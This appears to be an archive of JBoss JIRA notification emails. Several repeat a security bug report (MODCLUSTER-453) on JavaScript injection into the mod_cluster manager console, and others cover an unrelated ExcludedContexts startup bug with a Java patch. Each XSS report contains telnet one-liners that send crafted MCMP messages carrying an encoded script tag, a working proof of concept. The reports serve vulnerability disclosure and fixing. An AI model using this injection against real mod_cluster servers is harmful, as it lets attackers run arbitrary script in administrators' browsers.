[JBoss JIRA] (MODCLUSTER-453) It is possible to inject JavaScript into mod_cluster manager console via MCMP messages
by Radoslav Husar (JIRA)
[ https://issues.jboss.org/browse/MODCLUSTER-453?page=com.atlassian.jira.pl... ]
Radoslav Husar resolved MODCLUSTER-453.
---------------------------------------
Resolution: Done
> It is possible to inject JavaScript into mod_cluster manager console via MCMP messages
> --------------------------------------------------------------------------------------
>
> Key: MODCLUSTER-453
> URL: https://issues.jboss.org/browse/MODCLUSTER-453
> Project: mod_cluster
> Issue Type: Bug
> Components: Native (httpd modules)
> Affects Versions: 1.2.6.Final, 1.2.9.Final, 1.2.11.Final, 1.3.1.Beta2
> Reporter: Michal Karm Babacek
> Assignee: Jean-Frederic Clere
> Priority: Critical
> Fix For: 1.3.2.Alpha1, 1.2.12.Final
>
> Attachments: MODCLUSTER-453_master-better_one.patch, MODCLUSTER-453_master-mbabacek.patch, MODCLUSTER-453_master-offensive_approach.patch, patch.new.best.patch, patch.new.txt, patch.txt
>
>
> This is a nasty one indeed :-)
> h3. Steps to reproduce
> * start Apache HTTP Server with mod_cluster
> * send these messages (provided you test instance listens on 127.0.0.1)
> {code}
> { echo "CONFIG / HTTP/1.1"; echo "Host: localhost.localdomain:6666"; echo "Content-Length: 95"; echo "User-Agent: Prdel"; echo ""; echo "JVMRoute=fake-1&Ho5t=127.0.0.1&Maxattempts=1&Port=8009&StickySessionForce=No&Type=ajp&ping=10"; sleep 1;} | telnet 127.0.0.1 6666
> { echo "ENABLE-APP / HTTP/1.1"; echo "Host: localhost.localdomain:6666"; echo "Content-Length: 102"; echo "User-Agent: ClusterListener%2F1.0"; echo ""; echo 'JVMRoute%3Dfake-1%26Alias%3Ddefault-host%26Context%3D%2FX%3Cscript%3Ealert(%27X%27)%3B%3C%2Fscript%3E'; sleep 1;} | telnet 127.0.0.1 6666
> {code}
> * Open http://localhost:6666/mod_cluster_manager and enjoy JavaScript pop-up Alert being executed.
> h3. Impact
> * Anyone with access to the (hopefully only internal) network from which MCMP messages are allowed to come from could send these messages and execute arbitrary JavaScript code.
> h3. Suggestion
> * Leverage {{apr_escape*}} to sanitize MCMP messages.
> h3. Proposed patch
> * [^patch.new.best.patch]: MCMP messages containing suspicious characters are discarded.
--
This message was sent by Atlassian JIRA
(v6.4.11#64026)
9 years, 3 months
[JBoss JIRA] (MODCLUSTER-453) It is possible to inject JavaScript into mod_cluster manager console via MCMP messages
by Radoslav Husar (JIRA)
[ https://issues.jboss.org/browse/MODCLUSTER-453?page=com.atlassian.jira.pl... ]
Radoslav Husar updated MODCLUSTER-453:
--------------------------------------
Fix Version/s: 1.2.12.Final
> It is possible to inject JavaScript into mod_cluster manager console via MCMP messages
> --------------------------------------------------------------------------------------
>
> Key: MODCLUSTER-453
> URL: https://issues.jboss.org/browse/MODCLUSTER-453
> Project: mod_cluster
> Issue Type: Bug
> Components: Native (httpd modules)
> Affects Versions: 1.2.6.Final, 1.2.9.Final, 1.2.11.Final, 1.3.1.Beta2
> Reporter: Michal Karm Babacek
> Assignee: Jean-Frederic Clere
> Priority: Critical
> Fix For: 1.3.2.Alpha1, 1.2.12.Final
>
> Attachments: MODCLUSTER-453_master-better_one.patch, MODCLUSTER-453_master-mbabacek.patch, MODCLUSTER-453_master-offensive_approach.patch, patch.new.best.patch, patch.new.txt, patch.txt
>
>
> This is a nasty one indeed :-)
> h3. Steps to reproduce
> * start Apache HTTP Server with mod_cluster
> * send these messages (provided you test instance listens on 127.0.0.1)
> {code}
> { echo "CONFIG / HTTP/1.1"; echo "Host: localhost.localdomain:6666"; echo "Content-Length: 95"; echo "User-Agent: Prdel"; echo ""; echo "JVMRoute=fake-1&Ho5t=127.0.0.1&Maxattempts=1&Port=8009&StickySessionForce=No&Type=ajp&ping=10"; sleep 1;} | telnet 127.0.0.1 6666
> { echo "ENABLE-APP / HTTP/1.1"; echo "Host: localhost.localdomain:6666"; echo "Content-Length: 102"; echo "User-Agent: ClusterListener%2F1.0"; echo ""; echo 'JVMRoute%3Dfake-1%26Alias%3Ddefault-host%26Context%3D%2FX%3Cscript%3Ealert(%27X%27)%3B%3C%2Fscript%3E'; sleep 1;} | telnet 127.0.0.1 6666
> {code}
> * Open http://localhost:6666/mod_cluster_manager and enjoy JavaScript pop-up Alert being executed.
> h3. Impact
> * Anyone with access to the (hopefully only internal) network from which MCMP messages are allowed to come from could send these messages and execute arbitrary JavaScript code.
> h3. Suggestion
> * Leverage {{apr_escape*}} to sanitize MCMP messages.
> h3. Proposed patch
> * [^patch.new.best.patch]: MCMP messages containing suspicious characters are discarded.
--
This message was sent by Atlassian JIRA
(v6.4.11#64026)
9 years, 3 months
[JBoss JIRA] (MODCLUSTER-453) It is possible to inject JavaScript into mod_cluster manager console via MCMP messages
by Radoslav Husar (JIRA)
[ https://issues.jboss.org/browse/MODCLUSTER-453?page=com.atlassian.jira.pl... ]
Radoslav Husar updated MODCLUSTER-453:
--------------------------------------
Fix Version/s: (was: 1.2.11.Final)
> It is possible to inject JavaScript into mod_cluster manager console via MCMP messages
> --------------------------------------------------------------------------------------
>
> Key: MODCLUSTER-453
> URL: https://issues.jboss.org/browse/MODCLUSTER-453
> Project: mod_cluster
> Issue Type: Bug
> Components: Native (httpd modules)
> Affects Versions: 1.2.6.Final, 1.2.9.Final, 1.2.11.Final, 1.3.1.Beta2
> Reporter: Michal Karm Babacek
> Assignee: Jean-Frederic Clere
> Priority: Critical
> Fix For: 1.3.2.Alpha1
>
> Attachments: MODCLUSTER-453_master-better_one.patch, MODCLUSTER-453_master-mbabacek.patch, MODCLUSTER-453_master-offensive_approach.patch, patch.new.best.patch, patch.new.txt, patch.txt
>
>
> This is a nasty one indeed :-)
> h3. Steps to reproduce
> * start Apache HTTP Server with mod_cluster
> * send these messages (provided you test instance listens on 127.0.0.1)
> {code}
> { echo "CONFIG / HTTP/1.1"; echo "Host: localhost.localdomain:6666"; echo "Content-Length: 95"; echo "User-Agent: Prdel"; echo ""; echo "JVMRoute=fake-1&Ho5t=127.0.0.1&Maxattempts=1&Port=8009&StickySessionForce=No&Type=ajp&ping=10"; sleep 1;} | telnet 127.0.0.1 6666
> { echo "ENABLE-APP / HTTP/1.1"; echo "Host: localhost.localdomain:6666"; echo "Content-Length: 102"; echo "User-Agent: ClusterListener%2F1.0"; echo ""; echo 'JVMRoute%3Dfake-1%26Alias%3Ddefault-host%26Context%3D%2FX%3Cscript%3Ealert(%27X%27)%3B%3C%2Fscript%3E'; sleep 1;} | telnet 127.0.0.1 6666
> {code}
> * Open http://localhost:6666/mod_cluster_manager and enjoy JavaScript pop-up Alert being executed.
> h3. Impact
> * Anyone with access to the (hopefully only internal) network from which MCMP messages are allowed to come from could send these messages and execute arbitrary JavaScript code.
> h3. Suggestion
> * Leverage {{apr_escape*}} to sanitize MCMP messages.
> h3. Proposed patch
> * [^patch.new.best.patch]: MCMP messages containing suspicious characters are discarded.
--
This message was sent by Atlassian JIRA
(v6.4.11#64026)
9 years, 3 months
[JBoss JIRA] (MODCLUSTER-453) It is possible to inject JavaScript into mod_cluster manager console via MCMP messages
by Radoslav Husar (JIRA)
[ https://issues.jboss.org/browse/MODCLUSTER-453?page=com.atlassian.jira.pl... ]
Radoslav Husar updated MODCLUSTER-453:
--------------------------------------
Fix Version/s: 1.2.11.Final
> It is possible to inject JavaScript into mod_cluster manager console via MCMP messages
> --------------------------------------------------------------------------------------
>
> Key: MODCLUSTER-453
> URL: https://issues.jboss.org/browse/MODCLUSTER-453
> Project: mod_cluster
> Issue Type: Bug
> Components: Native (httpd modules)
> Affects Versions: 1.2.6.Final, 1.2.9.Final, 1.2.11.Final, 1.3.1.Beta2
> Reporter: Michal Karm Babacek
> Assignee: Jean-Frederic Clere
> Priority: Critical
> Fix For: 1.2.11.Final, 1.3.2.Alpha1
>
> Attachments: MODCLUSTER-453_master-better_one.patch, MODCLUSTER-453_master-mbabacek.patch, MODCLUSTER-453_master-offensive_approach.patch, patch.new.best.patch, patch.new.txt, patch.txt
>
>
> This is a nasty one indeed :-)
> h3. Steps to reproduce
> * start Apache HTTP Server with mod_cluster
> * send these messages (provided you test instance listens on 127.0.0.1)
> {code}
> { echo "CONFIG / HTTP/1.1"; echo "Host: localhost.localdomain:6666"; echo "Content-Length: 95"; echo "User-Agent: Prdel"; echo ""; echo "JVMRoute=fake-1&Ho5t=127.0.0.1&Maxattempts=1&Port=8009&StickySessionForce=No&Type=ajp&ping=10"; sleep 1;} | telnet 127.0.0.1 6666
> { echo "ENABLE-APP / HTTP/1.1"; echo "Host: localhost.localdomain:6666"; echo "Content-Length: 102"; echo "User-Agent: ClusterListener%2F1.0"; echo ""; echo 'JVMRoute%3Dfake-1%26Alias%3Ddefault-host%26Context%3D%2FX%3Cscript%3Ealert(%27X%27)%3B%3C%2Fscript%3E'; sleep 1;} | telnet 127.0.0.1 6666
> {code}
> * Open http://localhost:6666/mod_cluster_manager and enjoy JavaScript pop-up Alert being executed.
> h3. Impact
> * Anyone with access to the (hopefully only internal) network from which MCMP messages are allowed to come from could send these messages and execute arbitrary JavaScript code.
> h3. Suggestion
> * Leverage {{apr_escape*}} to sanitize MCMP messages.
> h3. Proposed patch
> * [^patch.new.best.patch]: MCMP messages containing suspicious characters are discarded.
--
This message was sent by Atlassian JIRA
(v6.4.11#64026)
9 years, 3 months
[JBoss JIRA] (MODCLUSTER-467) ExcludedContexts are ignored if modcluster subsystem initialize before default-host
by Pierre-Luc Gregoire (JIRA)
[ https://issues.jboss.org/browse/MODCLUSTER-467?page=com.atlassian.jira.pl... ]
Pierre-Luc Gregoire edited comment on MODCLUSTER-467 at 9/2/15 2:09 PM:
------------------------------------------------------------------------
Instead of using a system property or a hard dependency on 'default-host', the patch loop on hosts defined in ExcludedContexts and add a dependency to them.
{code}
for(String host : config.getExcludedContextsPerHost().keySet()) {
builder.addDependency(WebSubsystemServices.JBOSS_WEB_HOST.append(host == null?"default-host":host));
}
{code}
This patch is for modcluster project in wildfly, tag 7.2.0.Final-testsuite-fix.
was (Author: plgregoire):
Instead of using a system property or a hard dependency on 'default-host', the patch loop on hosts defined in ExcludedContexts and add a dependency to them.
{code}
for(String host : config.getExcludedContextsPerHost().keySet()) {
builder.addDependency(WebSubsystemServices.JBOSS_WEB_HOST.append(host == null?"default-host":host));
}
{code}
> ExcludedContexts are ignored if modcluster subsystem initialize before default-host
> -----------------------------------------------------------------------------------
>
> Key: MODCLUSTER-467
> URL: https://issues.jboss.org/browse/MODCLUSTER-467
> Project: mod_cluster
> Issue Type: Bug
> Components: Core & Container Integration (Java)
> Affects Versions: 1.2.11.Final
> Reporter: Pierre-Luc Gregoire
> Assignee: Jean-Frederic Clere
> Labels: jboss
> Attachments: MODCLUSTER-467-patch.diff
>
>
> With JBoss 7.2.0.Final, modcluster will ignore excludedContexts defined in modcluster subsystem (ie jmx-console, ROOT). This is caused by engine.getHosts() not yet available when org.jboss.modcluster.ModClusterService.init(Server) try to setup his list of excludedContexts.
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
9 years, 4 months
[JBoss JIRA] (MODCLUSTER-467) ExcludedContexts are ignored if modcluster subsystem initialize before default-host
by Pierre-Luc Gregoire (JIRA)
[ https://issues.jboss.org/browse/MODCLUSTER-467?page=com.atlassian.jira.pl... ]
Pierre-Luc Gregoire updated MODCLUSTER-467:
-------------------------------------------
Attachment: MODCLUSTER-467-patch.diff
Instead of using a system property or a hard dependency on 'default-host', the patch loop on hosts defined in ExcludedContexts and add a dependency to them.
for(String host : config.getExcludedContextsPerHost().keySet()) {
builder.addDependency(WebSubsystemServices.JBOSS_WEB_HOST.append(host == null?"default-host":host));
}
> ExcludedContexts are ignored if modcluster subsystem initialize before default-host
> -----------------------------------------------------------------------------------
>
> Key: MODCLUSTER-467
> URL: https://issues.jboss.org/browse/MODCLUSTER-467
> Project: mod_cluster
> Issue Type: Bug
> Components: Core & Container Integration (Java)
> Affects Versions: 1.2.11.Final
> Reporter: Pierre-Luc Gregoire
> Assignee: Jean-Frederic Clere
> Labels: jboss
> Attachments: MODCLUSTER-467-patch.diff
>
>
> With JBoss 7.2.0.Final, modcluster will ignore excludedContexts defined in modcluster subsystem (ie jmx-console, ROOT). This is caused by engine.getHosts() not yet available when org.jboss.modcluster.ModClusterService.init(Server) try to setup his list of excludedContexts.
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
9 years, 4 months
[JBoss JIRA] (MODCLUSTER-467) ExcludedContexts are ignored if modcluster subsystem initialize before default-host
by Pierre-Luc Gregoire (JIRA)
[ https://issues.jboss.org/browse/MODCLUSTER-467?page=com.atlassian.jira.pl... ]
Pierre-Luc Gregoire edited comment on MODCLUSTER-467 at 9/2/15 2:07 PM:
------------------------------------------------------------------------
Instead of using a system property or a hard dependency on 'default-host', the patch loop on hosts defined in ExcludedContexts and add a dependency to them.
{code}
for(String host : config.getExcludedContextsPerHost().keySet()) {
builder.addDependency(WebSubsystemServices.JBOSS_WEB_HOST.append(host == null?"default-host":host));
}
{code}
was (Author: plgregoire):
Instead of using a system property or a hard dependency on 'default-host', the patch loop on hosts defined in ExcludedContexts and add a dependency to them.
for(String host : config.getExcludedContextsPerHost().keySet()) {
builder.addDependency(WebSubsystemServices.JBOSS_WEB_HOST.append(host == null?"default-host":host));
}
> ExcludedContexts are ignored if modcluster subsystem initialize before default-host
> -----------------------------------------------------------------------------------
>
> Key: MODCLUSTER-467
> URL: https://issues.jboss.org/browse/MODCLUSTER-467
> Project: mod_cluster
> Issue Type: Bug
> Components: Core & Container Integration (Java)
> Affects Versions: 1.2.11.Final
> Reporter: Pierre-Luc Gregoire
> Assignee: Jean-Frederic Clere
> Labels: jboss
> Attachments: MODCLUSTER-467-patch.diff
>
>
> With JBoss 7.2.0.Final, modcluster will ignore excludedContexts defined in modcluster subsystem (ie jmx-console, ROOT). This is caused by engine.getHosts() not yet available when org.jboss.modcluster.ModClusterService.init(Server) try to setup his list of excludedContexts.
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
9 years, 4 months